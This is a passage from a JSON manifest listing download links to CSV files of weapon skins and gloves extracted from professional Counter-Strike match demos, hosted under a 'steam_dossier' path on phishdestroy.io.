            "label": "97820_3dmax-vs-pain-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.skins.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.skins.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m1-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.skins.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.skins.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.skins.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m1-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.skins.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.skins.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.skins.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.skins.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.skins.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.skins.csv"
          },
          {
            "label": "97864_the-mongolz-vs-g2-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97864_the-mongolz-vs-g2-m1-ancient.dem.skins.csv"
          },
          {
            "label": "97864_the-mongolz-vs-g2-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97864_the-mongolz-vs-g2-m2-dust2.dem.skins.csv"
          },
          {
            "label": "97867_virtus-pro-vs-pain-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97867_virtus-pro-vs-pain-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m2-inferno.dem.skins.csv"
          },
          {
            "label": "97867_virtus-pro-vs-pain-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m3-dust2.dem.skins.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.skins.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.skins.csv"
          },
          {
            "label": "97936_furia-vs-pain-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m1-nuke.dem.skins.csv"
          },
          {
            "label": "97936_furia-vs-pain-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97936_furia-vs-pain-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m3-inferno.dem.skins.csv"
          },
          {
            "label": "97952_natus-vincere-vs-vitality-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97952_natus-vincere-vs-vitality-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97952_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97952_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97970_mouz-vs-vitality-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97970_mouz-vs-vitality-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m2-inferno.dem.skins.csv"
          },
          {
            "label": "97970_mouz-vs-vitality-m3-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m3-train.dem.skins.csv"
          },
          {
            "label": "97973_pain-vs-the-mongolz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97973_pain-vs-the-mongolz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97973_pain-vs-the-mongolz-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97973_pain-vs-the-mongolz-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.skins.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.skins.csv"
          },
          {
            "label": "faze-vs-natus-vincere-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m1-ancient.dem.skins.csv"
          },
          {
            "label": "faze-vs-natus-vincere-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m1-inferno.dem.skins.csv"
          },
          {
            "label": "faze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m2-mirage.dem.skins.csv"
          },
          {
            "label": "faze-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "faze-vs-natus-vincere-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m3-inferno.dem.skins.csv"
          },
          {
            "label": "g2-vs-natus-vincere-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/g2-vs-natus-vincere-m1-ancient.dem.skins.csv"
          },
          {
            "label": "g2-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/g2-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "gamerlegion-vs-vitality-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/gamerlegion-vs-vitality-m1-overpass.dem.skins.csv"
          },
          {
            "label": "gamerlegion-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/gamerlegion-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "outsiders-vs-heroic-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/outsiders-vs-heroic-m1-mirage.dem.skins.csv"
          },
          {
            "label": "outsiders-vs-heroic-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/outsiders-vs-heroic-m2-overpass.dem.skins.csv"
          },
          {
            "label": "spirit-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "spirit-vs-faze-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m2-ancient.dem.skins.csv"
          },
          {
            "label": "spirit-vs-faze-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m3-dust2.dem.skins.csv"
          },
          {
            "label": "vitality-vs-the-mongolz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "vitality-vs-the-mongolz-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m2-dust2.dem.skins.csv"
          },
          {
            "label": "vitality-vs-the-mongolz-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m3-inferno.dem.skins.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "71910_nip-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "71910_nip-vs-faze-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "71910_nip-vs-faze-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m1-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.gloves.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "75553_spirit-vs-bad-news-eagles-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.gloves.csv"
          },
          {
            "label": "75555_mouz-vs-liquid-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.gloves.csv"
          },
          {
            "label": "75556_sprout-vs-big-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.gloves.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "79711_9ine-vs-liquid-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.gloves.csv"
          },
          {
            "label": "79712_natus-vincere-vs-gamerlegion-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.gloves.csv"
          },
          {
            "label": "79717_into-the-breach-vs-apeks-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.gloves.csv"
          },
          {
            "label": "79720_bad-news-eagles-vs-ence-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.gloves.csv"
          },
          {
            "label": "79721_liquid-vs-natus-vincere-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.gloves.csv"
          },
          {
            "label": "79723_vitality-vs-ence-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.gloves.csv"
          },
          {
            "label": "79726_9ine-vs-gamerlegion-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.gloves.csv"
          },
          {
            "label": "79727_bad-news-eagles-vs-g2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.gloves.csv"
          },
          {
            "label": "79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.gloves.csv"
          },
          {
            "label": "79733_ence-vs-into-the-breach-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.gloves.csv"
          },
          {
            "label": "79734_apeks-vs-bad-news-eagle-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.gloves.csv"
          },
          {
            "label": "79735_fnatic-vs-gamerlegion-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.gloves.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m1-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.gloves.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m3-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.gloves.csv"
          },
          {
            "label": "79741_furia-vs-g2-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "79741_furia-vs-g2-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m2-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.gloves.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m3-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.gloves.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m3-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.gloves.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m1-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.gloves.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m3-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.gloves.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.gloves.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.gloves.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m1-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.gloves.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m1-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.gloves.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m2-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.gloves.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m3-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.gloves.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m2-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.gloves.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m1-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.gloves.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.gloves.csv"
          },
          {
            "label": "86019_mouz-vs-ecstatic-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.gloves.csv"
          },
          {
            "label": "86023_complexity-vs-pain-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.gloves.csv"
          },
          {
            "label": "86024_faze-vs-heroic-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.gloves.csv"
          },
          {
            "label": "86025_g2-vs-furia-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.gloves.csv"
          },
          {
            "label": "86026_spirit-vs-cloud9-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.gloves.csv"
          },
          {
            "label": "86029_vitality-vs-themongolz-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.gloves.csv"
          },
          {
            "label": "86030_mouz-vs-eternal-fire-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.gloves.csv"
          },
          {
            "label": "86031_virtuspro-vs-pain-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.gloves.csv"
          },
          {
            "label": "86032_complexity-vs-heroic-vertigo.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.gloves.csv"
          },
          {
            "label": "86033_cloud9-vs-ecstatic-overpass.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.gloves.csv"
          },
          {
            "label": "86035_natus-vincere-vs-g2-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.gloves.csv"
          },
          {
            "label": "86036_faze-vs-furia-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.gloves.csv"
          },
          {
            "label": "86038_spirit-vs-imperial-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.gloves.csv"
          },
          {
            "label": "86044_heroic-vs-virtus-pro-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.gloves.csv"
          },
          {
            "label": "86045_g2-vs-cloud9-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.gloves.csv"
          },
          {
            "label": "86047_eternal-fire-vs-faze-overpass.dem.gloves.csv ↓",
